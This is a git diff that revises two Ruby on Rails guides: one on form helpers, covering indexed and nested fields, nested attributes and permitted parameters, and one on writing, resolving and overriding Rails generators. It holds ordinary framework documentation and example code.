-WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays.
+It's important to note that while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes. For example, instead of an array of model objects, you can have a hash of model objects keyed by their id or similar.
 
-### Using Form Helpers
+WARNING: Array parameters do not play well with the `checkbox` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `checkbox` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted. If it is checked then both are submitted but the value submitted by the checkbox takes precedence. There is a `include_hidden` option that can be set to `false` if you want to omit this hidden field. By default, this option is `true`.
 
-The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take.
+### Hashes with an Index
 
-You might want to render a form with a set of edit fields for each of a person's addresses. For example:
+Let's say you want to render a form with a set of fields for each of a person's
+addresses. The [`fields_for`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for) helper with its `:index` option can assist:
 
 ```erb
-<%= form_for @person do |person_form| %>
+<%= form_with model: @person do |person_form| %>
   <%= person_form.text_field :name %>
   <% @person.addresses.each do |address| %>
-    <%= person_form.fields_for address, index: address.id do |address_form|%>
+    <%= person_form.fields_for address, index: address.id do |address_form| %>
       <%= address_form.text_field :city %>
     <% end %>
   <% end %>
 <% end %>
 ```
 
-Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
+Assuming the person has two addresses with IDs 23 and 45, the above form would
+render this output:
 
 ```html
-<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
+<form accept-charset="UTF-8" action="/people/1" method="post">
+  <input name="_method" type="hidden" value="patch" />
   <input id="person_name" name="person[name]" type="text" />
   <input id="person_address_23_city" name="person[address][23][city]" type="text" />
   <input id="person_address_45_city" name="person[address][45][city]" type="text" />
 </form>
 ```
 
-This will result in a `params` hash that looks like
+Which will result in a `params` hash that looks like:
 
 ```ruby
-{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
-```
-
-Rails knows that all these inputs should be part of the person hash because you
-called `fields_for` on the first form builder. By specifying an `:index` option
-you're telling Rails that instead of naming the inputs `person[address][city]`
-it should insert that index surrounded by [] between the address and the city.
-This is often useful as it is then easy to locate which Address record
-should be modified. You can pass numbers with some other significance,
-strings or even `nil` (which will result in an array parameter being created).
-
-To create more intricate nestings, you can specify the first part of the input
-name (`person[address]` in the previous example) explicitly:
-
-```erb
-<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
-  <%= address_form.text_field :city %>
-<% end %>
-```
-
-will create inputs like
-
-```html
-<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
-```
-
-As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
-
-As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `index: address` so
-
-```erb
-<%= fields_for 'person[address][primary][]', address do |address_form| %>
-  <%= address_form.text_field :city %>
-<% end %>
-```
-
-produces exactly the same output as the previous example.
-
-Forms to External Resources
----------------------------
-
-Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
-
-```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %>
-  Form contents
-<% end %>
-```
-
-Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option:
-
-```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: false do %>
-  Form contents
-<% end %>
+{
+  "person" => {
+    "name" => "Bob",
+    "address" => {
+      "23" => {
+        "city" => "Paris"
+      },
+      "45" => {
+        "city" => "London"
+      }
+    }
+  }
+}
 ```
 
-The same technique is also available for `form_for`:
-
-```erb
-<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
-  Form contents
-<% end %>
-```
+All of the form inputs map to the `"person"` hash because we called `fields_for`
+on the `person_form` form builder. Also, by specifying `index: address.id`, we
+rendered the `name` attribute of each city input as
+`person[address][#{address.id}][city]` instead of `person[address][city]`. This
+way you can tell which `Address` records should be modified when processing the
+`params` hash.
 
-Or if you don't want to render an `authenticity_token` field:
-
-```erb
-<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
-  Form contents
-<% end %>
-```
+You can find more details about `fields_for` index option in the [API docs](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for).
 
 Building Complex Forms
 ----------------------
 
-Many apps grow beyond simple forms editing a single object. For example, when creating a `Person` you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
+As your application grows, you may need to create more complex forms, beyond editing a single object. For example, when creating a `Person` you can allow the user to create multiple `Address` records (home, work, etc.) within the same form. When editing a `Person` record later, the user should be able to add, remove, or update addresses as well.
 
-### Configuring the Model
+### Configuring the Model for Nested Attributes
 
-Active Record provides model level support via the `accepts_nested_attributes_for` method:
+For editing an associated record for a given model (`Person` in this case), Active Record provides model level support via the [`accepts_nested_attributes_for`](https://api.rubyonrails.org/classes/ActiveRecord/NestedAttributes/ClassMethods.html#method-i-accepts_nested_attributes_for) method:
 
 ```ruby
 class Person < ApplicationRecord
-  has_many :addresses
+  has_many :addresses, inverse_of: :person
   accepts_nested_attributes_for :addresses
 end
 
@@ -886,17 +1111,17 @@ class Address < ApplicationRecord
 end
 ```
 
-This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
+This creates an `addresses_attributes=` method on `Person` that allows you to create, update, and destroy addresses.
 
-### Nested Forms
+### Nested Forms in the View
 
 The following form allows a user to create a `Person` and its associated addresses.
 
 ```html+erb
-<%= form_for @person do |f| %>
+<%= form_with model: @person do |form| %>
   Addresses:
   <ul>
-    <%= f.fields_for :addresses do |addresses_form| %>
+    <%= form.fields_for :addresses do |addresses_form| %>
       <li>
         <%= addresses_form.label :kind %>
         <%= addresses_form.text_field :kind %>
@@ -910,47 +1135,97 @@ The following form allows a user to create a `Person` and its associated address
 <% end %>
 ```
 
+When an association accepts nested attributes, `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses, it renders nothing.
 
-When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.
+A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.
+
+For example, the above `form_with` with this change:
 
 ```ruby
 def new
   @person = Person.new
-  2.times { @person.addresses.build}
+  2.times { @person.addresses.build }
 end
 ```
 
-The `fields_for` yields a form builder. The parameters' name will be what
-`accepts_nested_attributes_for` expects. For example, when creating a user with
-2 addresses, the submitted parameters would look like:
+Will output the following HTML:
+
+```html
+<form action="/people" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="lWTbg-4_5i4rNe6ygRFowjDfTj7uf-6UPFQnsL7H9U9Fe2GGUho5PuOxfcohgm2Z-By3veuXwcwDIl-MLdwFRg" autocomplete="off">
+  Addresses:
+  <ul>
+      <li>
+        <label for="person_addresses_attributes_0_kind">Kind</label>
+        <input type="text" name="person[addresses_attributes][0][kind]" id="person_addresses_attributes_0_kind">
+
+        <label for="person_addresses_attributes_0_street">Street</label>
+        <input type="text" name="person[addresses_attributes][0][street]" id="person_addresses_attributes_0_street">
+        ...
+      </li>
+
+      <li>
+        <label for="person_addresses_attributes_1_kind">Kind</label>
+        <input type="text" name="person[addresses_attributes][1][kind]" id="person_addresses_attributes_1_kind">
+
+        <label for="person_addresses_attributes_1_street">Street</label>
+        <input type="text" name="person[addresses_attributes][1][street]" id="person_addresses_attributes_1_street">
+        ...
+      </li>
+  </ul>
+</form>
+```
+
+The `fields_for` yields a form builder. The parameter names will be what
+`accepts_nested_attributes_for` expects. For example, when creating a person
+with 2 addresses, the submitted parameters in `params` would look like this:
 
 ```ruby
 {
-  'person' => {
-    'name' => 'John Doe',
-    'addresses_attributes' => {
-      '0' => {
-        'kind' => 'Home',
-        'street' => '221b Baker Street'
+  "person" => {
+    "name" => "John Doe",
+    "addresses_attributes" => {
+      "0" => {
+        "kind" => "Home",
+        "street" => "221b Baker Street"
       },
-      '1' => {
-        'kind' => 'Office',
-        'street' => '31 Spooner Street'
+      "1" => {
+        "kind" => "Office",
+        "street" => "31 Spooner Street"
       }
     }
   }
 }
 ```
 
-The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
+The actual value of the keys in the `:addresses_attributes` hash is not important. But they need to be strings of integers and different for each address.
+
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`.
 
-If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`.
+```ruby
+{
+  "person" => {
+    "name" => "John Doe",
+    "addresses_attributes" => {
+      "0" => {
+        "id" => 1,
+        "kind" => "Home",
+        "street" => "221b Baker Street"
+      },
+      "1" => {
+        "id" => "2",
+        "kind" => "Office",
+        "street" => "31 Spooner Street"
+      }
+    }
+  }
+}
+```
 
-### The Controller
+### Permitting Parameters in the Controller
 
-As usual you need to
-[whitelist the parameters](action_controller_overview.html#strong-parameters) in
-the controller before you pass them to the model:
+As usual you need to [declare the permitted
+parameters](action_controller_overview.html#strong-parameters) in the controller
+before you pass them to the model:
 
 ```ruby
 def create
@@ -960,11 +1235,11 @@ end
 
 private
   def person_params
-    params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+    params.expect(person: [ :name, addresses_attributes: [[ :id, :kind, :street ]] ])
   end
 ```
 
-### Removing Objects
+### Removing Associated Objects
 
 You can allow users to delete associated objects by passing `allow_destroy: true` to `accepts_nested_attributes_for`
 
@@ -976,16 +1251,16 @@ end
 ```
 
 If the hash of attributes for an object contains the key `_destroy` with a value
-of `1` or `true` then the object will be destroyed. This form allows users to
-remove addresses:
+that evaluates to `true` (e.g. `1`, `'1'`, `true`, or `'true'`) then the object will be
+destroyed. This form allows users to remove addresses:
 
 ```erb
-<%= form_for @person do |f| %>
+<%= form_with model: @person do |form| %>
   Addresses:
   <ul>
-    <%= f.fields_for :addresses do |addresses_form| %>
+    <%= form.fields_for :addresses do |addresses_form| %>
       <li>
-        <%= addresses_form.check_box :_destroy%>
+        <%= addresses_form.checkbox :_destroy %>
         <%= addresses_form.label :kind %>
         <%= addresses_form.text_field :kind %>
         ...
@@ -995,7 +1270,13 @@ remove addresses:
 <% end %>
 ```
 
-Don't forget to update the whitelisted params in your controller to also include
+The HTML for the `_destroy` field:
+
+```html
+<input type="checkbox" value="1" name="person[addresses_attributes][0][_destroy]" id="person_addresses_attributes_0__destroy">
+```
+
+You also need to update the permitted params in your controller to include
 the `_destroy` field:
 
 ```ruby
@@ -1007,17 +1288,54 @@ end
 
 ### Preventing Empty Records
 
-It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set.
+It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `true` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set.
 
 ```ruby
 class Person < ApplicationRecord
   has_many :addresses
-  accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
+  accepts_nested_attributes_for :addresses, reject_if: lambda { |attributes| attributes["kind"].blank? }
 end
 ```
 
 As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`.
 
-### Adding Fields on the Fly
+Forms to External Resources
+---------------------------
+
+Rails form helpers can be used to build a form for posting data to an external resource. If the external API expects an `authenticity_token` for the resource, this can be passed as an `authenticity_token: 'your_external_token'` parameter to `form_with`:
+
+```erb
+<%= form_with url: 'http://farfar.away/form', authenticity_token: 'external_token' do %>
+  Form contents
+<% end %>
+```
+
+At other times, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To _not_ send a token, you can pass `false` to the `:authenticity_token` option:
+
+```erb
+<%= form_with url: 'http://farfar.away/form', authenticity_token: false do %>
+  Form contents
+<% end %>
+```
+
+Using Tag Helpers without a Form Builder
+----------------------------------------
+
+In case you need to render form fields outside of the context of a form builder, Rails provides tag helpers for common form elements. For example, [`checkbox_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-checkbox_tag):
+
+```erb
+<%= checkbox_tag "accept" %>
+```
+
+Output:
+
+```html
+<input type="checkbox" name="accept" id="accept" value="1" />
+```
+
+Generally, these helpers have the same name as their form builder counterparts plus a `_tag` suffix.  For a complete list, see the [`FormTagHelper` API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
+
+Using `form_tag` and `form_for`
+-------------------------------
 
-Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice.
+Before `form_with` was introduced in Rails 5.1 its functionality was split between [`form_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag) and [`form_for`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for). Both are now discouraged in favor of `form_with`, but you can still find them being used in some codebases.
diff --git a/guides/source/generators.md b/guides/source/generators.md
index d0b6cef3fd6a8..4d66d11ebadc6 100644
--- a/guides/source/generators.md
+++ b/guides/source/generators.md
@@ -1,27 +1,26 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Creating and Customizing Rails Generators & Templates
 =====================================================
 
-Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
-
-After reading this guide, you will know:
+Rails generators and application templates are useful tools that can help improve your workflow by automatically creating boilerplate code. In this guide you will learn:
 
 * How to see which generators are available in your application.
 * How to create a generator using templates.
 * How Rails searches for generators before invoking them.
-* How Rails internally generates Rails code from the templates.
-* How to customize your scaffold by creating new generators.
-* How to customize your scaffold by changing generator templates.
+* How to customize Rails scaffolding by overriding generators and templates.
 * How to use fallbacks to avoid overwriting a huge set of generators.
-* How to create an application template.
+* How to use templates to create/customize Rails applications.
+* How to use the Rails Template API to write your own reusable application templates.
 
 --------------------------------------------------------------------------------
 
 First Contact
 -------------
 
-When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`:
+When you create an application using the `rails` command, you are in fact using
+a Rails generator. After that, you can get a list of all available generators by
+invoking `bin/rails generate`:
 
 ```bash
 $ rails new myapp
@@ -29,100 +28,140 @@ $ cd myapp
 $ bin/rails generate
 ```
 
-You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
+NOTE: To create a Rails application we use the `rails` global command which uses
+the version of Rails installed via `gem install rails`. When inside the
+directory of your application, we use the `bin/rails` command which uses the
+version of Rails bundled with the application.
+
+You will get a list of all generators that come with Rails. To see a detailed
+description of a particular generator, invoke the generator with the `--help`
+option. For example:
 
 ```bash
-$ bin/rails generate helper --help
+$ bin/rails generate scaffold --help
 ```
 
 Creating Your First Generator
 -----------------------------
 
-Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options for parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
+Generators are built on top of [Thor](https://github.com/rails/thor), which
+provides powerful options for parsing and a great API for manipulating files.
 
-The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
+Let's build a generator that creates an initializer file named `initializer.rb`
+inside `config/initializers`. The first step is to create a file at
+`lib/generators/initializer_generator.rb` with the following content:
 
 ```ruby
 class InitializerGenerator < Rails::Generators::Base
   def create_initializer_file
-    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+    create_file "config/initializers/initializer.rb", <<~RUBY
+      # Add initialization content here
+    RUBY
   end
 end
 ```
 
-NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
-
-Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
+Our new generator is quite simple: it inherits from [`Rails::Generators::Base`][]
+and has one method definition. When a generator is invoked, each public method
+in the generator is executed sequentially in the order that it is defined. Our
+method invokes [`create_file`][], which will create a file at the given
+destination with the given content.
 
-To invoke our new generator, we just need to do:
+To invoke our new generator, we run:
 
 ```bash
 $ bin/rails generate initializer
 ```
 
-Before we go on, let's see our brand new generator description:
+Before we go on, let's see the description of our new generator:
 
 ```bash
 $ bin/rails generate initializer --help
 ```
 
-Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:
+Rails is usually able to derive a good description if a generator is namespaced,
+such as `ActiveRecord::Generators::ModelGenerator`, but not in this case. We can
+solve this problem in two ways. The first way to add a description is by calling
+[`desc`][] inside our generator:
 
 ```ruby
 class InitializerGenerator < Rails::Generators::Base
   desc "This generator creates an initializer file at config/initializers"
   def create_initializer_file
-    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+    create_file "config/initializers/initializer.rb", <<~RUBY
+      # Add initialization content here
+    RUBY
   end
 end
 ```
 
-Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step.
+Now we can see the new description by invoking `--help` on the new generator.
+
+The second way to add a description is by creating a file named `USAGE` in the
+same directory as our generator. We are going to do that in the next step.
+
+[`Rails::Generators::Base`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html
+[`Thor::Actions`]: https://www.rubydoc.info/gems/thor/Thor/Actions
+[`create_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method
+[`desc`]: https://www.rubydoc.info/gems/thor/Thor#desc-class_method
 
 Creating Generators with Generators
 -----------------------------------
 
-Generators themselves have a generator:
+Generators themselves have a generator. Let's remove our `InitializerGenerator`
+and use `bin/rails generate generator` to generate a new one:
 
 ```bash
+$ rm lib/generators/initializer_generator.rb
+
 $ bin/rails generate generator initializer
       create  lib/generators/initializer
       create  lib/generators/initializer/initializer_generator.rb
       create  lib/generators/initializer/USAGE
       create  lib/generators/initializer/templates
+      invoke  test_unit
+      create    test/lib/generators/initializer_generator_test.rb
 ```
 
 This is the generator just created:
 
 ```ruby
 class InitializerGenerator < Rails::Generators::NamedBase
-  source_root File.expand_path("../templates", __FILE__)
+  source_root File.expand_path("templates", __dir__)
 end
 ```
 
-First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`.
+First, notice that the generator inherits from [`Rails::Generators::NamedBase`][]
+instead of `Rails::Generators::Base`. This means that our generator expects at
+least one argument, which will be the name of the initializer and will be
+available to our code via `name`.
 
-We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
+We can see that by checking the description of the new generator:
 
 ```bash
 $ bin/rails generate initializer --help
 Usage:
-  rails generate initializer NAME [options]
+  bin/rails generate initializer NAME [options]
 ```
 
-We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`.
+Also, notice that the generator has a class method called [`source_root`][].
+This method points to the location of our templates, if any. By default it
+points to the `lib/generators/initializer/templates` directory that was just
+created.
 
-In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content:
+In order to understand how generator templates work, let's create the file
+`lib/generators/initializer/templates/initializer.rb` with the following
+content:
 
 ```ruby
 # Add initialization content here
 ```
 
-And now let's change the generator to copy this template when invoked:
+And let's change the generator to copy this template when invoked:
 
 ```ruby
 class InitializerGenerator < Rails::Generators::NamedBase
-  source_root File.expand_path("../templates", __FILE__)
+  source_root File.expand_path("templates", __dir__)
 
   def copy_initializer_file
     copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
@@ -130,51 +169,120 @@ class InitializerGenerator < Rails::Generators::NamedBase
 end
 ```
 
-And let's execute our generator:
+Now let's run our generator:
 
 ```bash
 $ bin/rails generate initializer core_extensions
+      create  config/initializers/core_extensions.rb
+
+$ cat config/initializers/core_extensions.rb
+# Add initialization content here
 ```
 
-We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
+We see that [`copy_file`][] created `config/initializers/core_extensions.rb`
+with the contents of our template. (The `file_name` method used in the
+destination path is inherited from `Rails::Generators::NamedBase`.)
 
-The methods that are available for generators are covered in the [final section](#generator-methods) of this guide.
+[`Rails::Generators::NamedBase`]: https://api.rubyonrails.org/classes/Rails/Generators/NamedBase.html
+[`copy_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#copy_file-instance_method
+[`source_root`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-source_root
 
-Generators Lookup
------------------
+Generator Command Line Options
+------------------------------
 
-When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found:
+Generators can support command line options using [`class_option`][]. For
+example:
 
-```bash
-rails/generators/initializer/initializer_generator.rb
-generators/initializer/initializer_generator.rb
-rails/generators/initializer_generator.rb
-generators/initializer_generator.rb
+```ruby
+class InitializerGenerator < Rails::Generators::NamedBase
+  class_option :scope, type: :string, default: "app"
+end
 ```
 
-If none is found you get an error message.
-
-INFO: The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`.
+Now our generator can be invoked with a `--scope` option:
 
-Customizing Your Workflow
--------------------------
+```bash
+$ bin/rails generate initializer theme --scope dashboard
+```
 
-Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults:
+Option values are accessible in generator methods via [`options`][]:
 
 ```ruby
-config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :test_unit, fixture: true
+def copy_initializer_file
+  @scope = options["scope"]
 end
 ```
 
-Before we customize our workflow, let's first see what our scaffold looks like:
+[`class_option`]: https://www.rubydoc.info/gems/thor/Thor/Base/ClassMethods#class_option-instance_method
+[`options`]: https://www.rubydoc.info/gems/thor/Thor/Base#options-instance_method
+
+Generator Resolution
+--------------------
+
+When resolving a generator's name, Rails looks for the generator using multiple
+file names. For example, when you run `bin/rails generate initializer core_extensions`,
+Rails tries to load each of the following files, in order, until one is found:
+
+* `rails/generators/initializer/initializer_generator.rb`
+* `generators/initializer/initializer_generator.rb`
+* `rails/generators/initializer_generator.rb`
+* `generators/initializer_generator.rb`
+
+If none of these are found, an error will be raised.
+
+We put our generator in the application's `lib/` directory because that
+directory is in `$LOAD_PATH`, thus allowing Rails to find and load the file.
+
+Overriding Rails Generator Templates
+------------------------------------
+
+Rails will also look in multiple places when resolving generator template files.
+One of those places is the application's `lib/templates/` directory. This
+behavior allows us to override the templates used by Rails' built-in generators.
+For example, we could override the [scaffold controller template][] or the
+[scaffold view templates][].
+
+To see this in action, let's create a `lib/templates/erb/scaffold/index.html.erb.tt`
+file with the following contents:
+
+```erb
+<%%= @<%= plural_table_name %>.count %> <%= human_name.pluralize %>
+```
+
+Note that the template is an ERB template that renders _another_ ERB template.
+So any `<%` that should appear in the _resulting_ template must be escaped as
+`<%%` in the _generator_ template.
+
+Now let's run Rails' built-in scaffold generator:
+
+```bash
+$ bin/rails generate scaffold Post title:string
+      ...
+      create      app/views/posts/index.html.erb
+      ...
+```
+
+The contents of `app/views/posts/index.html.erb` is:
+
+```erb
+<%= @posts.count %> Posts
+```
+
+[scaffold controller template]: https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb.tt
+[scaffold view templates]: https://github.com/rails/rails/tree/main/railties/lib/rails/generators/erb/scaffold/templates
+
+Overriding Rails Generators
+---------------------------
+
+Rails' built-in generators can be configured via [`config.generators`][],
+including overriding some generators entirely.
+
+First, let's take a closer look at how the scaffold generator works.
 
 ```bash
 $ bin/rails generate scaffold User name:string
       invoke  active_record
-      create    db/migrate/20130924151154_create_users.rb
+      create    db/migrate/20230518000000_create_users.rb
       create    app/models/user.rb
       invoke    test_unit
       create      test/models/user_test.rb
@@ -190,47 +298,26 @@ $ bin/rails generate scaffold User name:string
       create      app/views/users/show.html.erb
       create      app/views/users/new.html.erb
       create      app/views/users/_form.html.erb
+      create      app/views/users/_user.html.erb
+      invoke    resource_route
       invoke    test_unit
       create      test/controllers/users_controller_test.rb
+      create      test/system/users_test.rb
       invoke    helper
       create      app/helpers/users_helper.rb
+      invoke      test_unit
       invoke    jbuilder
       create      app/views/users/index.json.jbuilder
       create      app/views/users/show.json.jbuilder
-      invoke  assets
-      invoke    coffee
-      create      app/assets/javascripts/users.coffee
-      invoke    scss
-      create      app/assets/stylesheets/users.scss
-      invoke  scss
-      create    app/assets/stylesheets/scaffolds.scss
 ```
 
-Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
+From the output, we can see that the scaffold generator invokes other
+generators, such as the `scaffold_controller` generator. And some of those
+generators invoke other generators too. In particular, the `scaffold_controller`
+generator invokes several other generators, including the `helper` generator.
 
-If we want to avoid generating the default `app/assets/stylesheets/scaffolds.scss` file when scaffolding a new resource we can disable `scaffold_stylesheet`:
-
-```ruby
-  config.generators do |g|
-    g.scaffold_stylesheet false
-  end
-```
-
-The next customization on the workflow will be to stop generating stylesheet, JavaScript and test fixture files for scaffolds altogether. We can achieve that by changing our configuration to the following:
-
-```ruby
-config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :test_unit, fixture: false
-  g.stylesheets     false
-  g.javascripts     false
-end
-```
-
-If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
-
-To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
+Let's override the built-in `helper` generator with a new generator. We'll name
+the generator `my_helper`:
 
 ```bash
 $ bin/rails generate generator rails/my_helper
@@ -238,165 +325,103 @@ $ bin/rails generate generator rails/my_helper
       create  lib/generators/rails/my_helper/my_helper_generator.rb
       create  lib/generators/rails/my_helper/USAGE
       create  lib/generators/rails/my_helper/templates
+      invoke  test_unit
+      create    test/lib/generators/rails/my_helper_generator_test.rb
 ```
 
-After that, we can delete both the `templates` directory and the `source_root`
-class method call from our new generator, because we are not going to need them.
-Add the method below, so our generator looks like the following:
+And in `lib/generators/rails/my_helper/my_helper_generator.rb` we'll define
+the generator as:
 
 ```ruby
-# lib/generators/rails/my_helper/my_helper_generator.rb
 class Rails::MyHelperGenerator < Rails::Generators::NamedBase
   def create_helper_file
-    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
-module #{class_name}Helper
-  attr_reader :#{plural_name}, :#{plural_name.singularize}
-end
-    FILE
+    create_file "app/helpers/#{file_name}_helper.rb", <<~RUBY
+      module #{class_name}Helper
+        # I'm helping!
+      end
+    RUBY
   end
 end
 ```
 
-We can try out our new generator by creating a helper for products:
-
-```bash
-$ bin/rails generate my_helper products
-      create  app/helpers/products_helper.rb
-```
-
-And it will generate the following helper file in `app/helpers`:
-
-```ruby
-module ProductsHelper
-  attr_reader :products, :product
-end
-```
-
-Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again:
+Finally, we need to tell Rails to use the `my_helper` generator instead of the
+built-in `helper` generator. For that we use `config.generators`. In
+`config/application.rb`, let's add:
 
 ```ruby
 config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :test_unit, fixture: false
-  g.stylesheets     false
-  g.javascripts     false
-  g.helper          :my_helper
+  g.helper :my_helper
 end
 ```
 
-and see it in action when invoking the generator:
